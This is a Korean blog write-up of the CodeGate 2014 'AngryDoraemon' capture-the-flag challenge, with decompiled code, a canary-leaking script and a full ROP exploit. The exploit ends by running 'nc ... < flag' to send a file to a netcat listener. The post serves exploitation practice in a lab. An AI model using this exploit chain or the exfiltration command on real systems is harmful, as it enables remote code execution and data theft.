티스토리 뷰
http://shell-storm.org/repo/CTF/CodeGate-2014/AngryDoraemon-250/
CodeGate 2014 문제를 다시 풀어봤다.
Menu에서 4를 선택하면 나오는 MOUSE 부분에서 Overflow가 난다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | int __cdecl sub_8048FC6(int fd) { int v1; // edx@3 int v2; // ecx@3 int v3; // eax@4 size_t v4; // ST1C_4@4 int result; // eax@5 int v6; // [sp+18h] [bp-20h]@1 int buf; // [sp+22h] [bp-16h]@1 int v8; // [sp+26h] [bp-12h]@1 __int16 v9; // [sp+2Ah] [bp-Eh]@1 int v10; // [sp+2Ch] [bp-Ch]@1 v10 = *MK_FP(__GS__, 20); buf = 0; v8 = 0; v9 = 0; v6 = open("mouse.txt", 0); if ( v6 < 0 ) sub_804889D("open() error"); write(fd, "Are you sure? (y/n) ", 0x14u); read(fd, &buf, 0x6Eu); // Vuln if ( buf == 'y' ) { v3 = sprintf(s, "You choose '%s'!\n", &buf); write(fd, s, v3); v4 = read(v6, s, 0x1388u); write(fd, s, v4); write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu); dword_804B078 -= 25; } result = *MK_FP(__GS__, 20) ^ v10; if ( *MK_FP(__GS__, 20) != v10 ) __stack_chk_fail(v2, v1); return result; } | cs |
하지만 SSP가 걸려있어 Canary값을 가져와야 함.
fork()를 사용하여 Canary값이 랜덤하지 않다고 한다.
1 2 3 | root@Kali ~/s/e/doraemon# checksec --file ./angry_doraemon RELRO STACK CANARY NX PIE Partial RELRO Canary found NX enabled No PIE | cs |
buf와 canary값은 0x0A차이나는데 y를 10개 주어도 Canary값이 나오지 않는것은
Canary의 첫 바이트가 0x00이라서 그렇다고 한다.
아래는 카나리값을 구하는 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #!/usr/bin/env python #-*-coding:utf8-*- from socket import * from struct import * from time import sleep def dump(buf): # 길어서 생략 # 길어서 생략 # 길어서 생략 IP = "192.168.1.130" PORT = 8888 p = lambda x : pack("<L", x) up = lambda x : unpack("<L", x)[0] con = lambda x, y, z : x.connect((y, z)) s = socket(AF_INET, SOCK_STREAM) con(s, IP, PORT) s.recv(1024) s.recv(1024) s.recv(1024) s.recv(4096) s.send("4\n") sleep(1) s.send("y" * 11) print s.recv(1024) dump(s.recv(1024)) | cs |
문자열 y뒤에 오는 값이 Canary의 3바이트 이다.
1 2 3 4 5 6 7 | Are you sure? (y/n) 00000000 | 59 6f 75 20 63 68 6f 6f 73 65 20 27 79 79 79 79 | You.choose.'yyyy 00000010 | 79 79 79 79 79 79 79 1b f2 0a 88 8c d3 bf f3 ba | yyyyyyy......... 00000020 | 6a b7 98 8c d3 bf c5 92 04 08 04 27 21 0a 0a 5b | j..........'...[ 00000030 | 6d 6f 75 73 65 2e 74 78 74 5d 0a 0a 0a 22 4d 4f | mouse.txt]..."MO 00000040 | 55 53 45 21 21 21 21 21 21 21 21 21 20 28 48 50 | USE..........(HP 00000050 | 20 2d 20 32 35 29 22 0a | .-.25)". | cs |
즉 Canary 값은 0x0af21b00이 된다.
CANARY값을 구했으니 적절한 위치에 넣어주고 ROP해주면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | #!/usr/bin/env python #-*-coding:utf8-*- from socket import * from struct import * from time import sleep IP = "192.168.1.130" PORT = 8888 p = lambda x : pack("<L", x) up = lambda x : unpack("<L", x)[0] con = lambda s, i, p : s.connect((i, p)) s = socket(AF_INET, SOCK_STREAM) con(s, IP, PORT) canary = p(0x0af21b00) vuln = p(0x08048FC6) write = p(0x080486e0) write_got = p(0x0804b040) read = p(0x08048620) bssSec = 0x0804b0a0 + 0xf10 pop3ret = p(0x080495BD) offset = 0x8bb50 s.recv(1024) s.recv(1024) s.recv(1024) s.recv(4096) s.send("4\n") # Selete Vulnerable Function sleep(1) # Delay s.recv(1024) command = "nc 192.168.1.130 33333 < flag\x00" payload = "JUNK" * 3 payload += read payload += pop3ret payload += p(0x04) payload += p(bssSec) payload += p(len(command)) # read(4, &.bss, strlen(command)) payload += write payload += pop3ret payload += p(0x04) payload += write_got payload += p(0x04) # write(4, write@got, 4) payload += vuln payload += "JUNK" payload += p(0x04) # vuln(4) s.send("y" * 10 + canary + payload) s.send(command) write_libc = up(s.recv(4)) system = write_libc - offset print "[*] write@libc : ", hex(write_libc) print "[*] system@libc : ", hex(system) s.recv(1024) payload = "JUNK" * 3 payload += p(system) payload += "JUNK" payload += p(bssSec) # system(&.bss) s.send("y" * 10 + canary + payload + "\n") | cs |
1 2 3 4 5 | root@Kali ~/s/e/doraemon# nc -lvp 33333 listening on [any] 33333 ... 192.168.1.130: inverse host lookup failed: Unknown server error : connect to [192.168.1.130] from (UNKNOWN) [192.168.1.130] 50499 flag is {CodeGate2014_Angry_Doreamon} | cs |
FLAG 값은 임의로 정했습니다.
'Pwnable > CTF' 카테고리의 다른 글
Volga CTF 2014 [exploit 100] (0) | 2015.01.28 |
---|---|
CSAW 2012 [Challenge1] (0) | 2015.01.23 |
NullCon 2014 [Exploitation 100] (0) | 2015.01.13 |
Plaid CTF 2013 [ropasaurusrex] (0) | 2014.12.13 |
CodeGate Junior 2014 [nuclear] (0) | 2014.12.12 |
댓글